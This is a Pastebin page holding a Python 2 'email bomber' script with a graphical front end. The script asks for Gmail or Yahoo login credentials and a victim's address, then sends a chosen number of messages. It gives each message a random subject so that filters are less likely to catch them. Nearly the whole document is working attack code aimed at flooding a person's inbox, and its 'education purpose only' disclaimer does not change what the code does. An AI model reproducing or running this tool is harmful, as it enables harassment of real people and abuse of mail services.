Advertisement
atulh4c

gmail bomber [Graphical]

Dec 18th, 2014
565
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.49 KB | None | 0 0
  1. #!/usr/bin/python
  2. #coded by atulh4c
  3. #credits to aBi71
  4. #This code for education purpose only.
  5. #Use it at your own risk !!!
  6.  
  7. import easygui as eg
  8. import os
  9. import smtplib
  10. import getpass
  11. import sys
  12.  
  13. def getserver():
  14.  
  15.     msg         = "Please enter the server name [gmail/yahoo]"
  16.     title       = "Python Bomber"
  17.     server        = eg.enterbox(msg,title)
  18.     return server
  19.  
  20. def getuemail():
  21.  
  22.     msg         = "Please enter your email id"
  23.     title       = "Python Bomber"
  24.     uemail      = eg.enterbox(msg,title)
  25.     return uemail
  26.  
  27. def getupass():
  28.  
  29.     msg         = "Please enter your password"
  30.     title       = "Python Bomber"
  31.     pw          = eg.passwordbox(msg,title)
  32.     return pw
  33.  
  34. def getvemail():
  35.  
  36.     msg         = "Enter Victim's email id"
  37.     title       = "Python Bomber"
  38.     vemail      = eg.enterbox(msg,title)
  39.     return vemail
  40.  
  41. def getmessage():
  42.  
  43.     msg         = "Enter message"
  44.     title       = "Python Bomber"
  45.     message      = eg.enterbox(msg,title)
  46.     return message
  47.  
  48. def getnum():
  49.  
  50.     msg         = "How many times to bomb"
  51.     title       = "Python Bomber"
  52.     num      = eg.enterbox(msg,title)
  53.     return num
  54.  
  55. def getsubject():
  56.  
  57.     msg         = "Enter the subject"
  58.     title       = "Python Bomber"
  59.     subject      = eg.enterbox(msg,title)
  60.     return subject
  61.  
  62. eg.msgbox(msg="    Python Email Bomber[Gui by #Atul v1]", ok_button="Go!")
  63.  
  64.  
  65. server = getserver()
  66. user = getuemail()
  67. passwd = getupass()
  68.  
  69.  
  70. to = getvemail()
  71. subject = getsubject()
  72. body = getmessage()
  73. total1 = getnum()
  74. total = int(total1)
  75.  
  76. if server == 'gmail':
  77.     smtp_server = 'smtp.gmail.com'
  78.     port = 587
  79. elif server == 'yahoo':
  80.     smtp_server = 'smtp.mail.yahoo.com'
  81.     port = 25
  82. else:
  83.     print 'Applies only to gmail and yahoo.'
  84.     sys.exit()
  85.  
  86. print ''
  87.  
  88. try:
  89.     server = smtplib.SMTP(smtp_server,port)
  90.     server.ehlo()
  91.     if smtp_server == "smtp.gmail.com":
  92.             server.starttls()
  93.     server.login(user,passwd)
  94.     for i in range(1, total+1):
  95.         subject = os.urandom(9)
  96.         msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
  97.         server.sendmail(user,to,msg)
  98.         print "\rTotal emails sent: %i" % i
  99.         sys.stdout.flush()
  100.     server.quit()
  101.     eg.msgbox(msg="Bombing Completed :-)", ok_button="Exit!")
  102. except KeyboardInterrupt:
  103.     print '[-] Canceled'
  104.     sys.exit()
  105. except smtplib.SMTPAuthenticationError:
  106.     print '\n[!] The username or password you entered is incorrect.'
  107.     sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement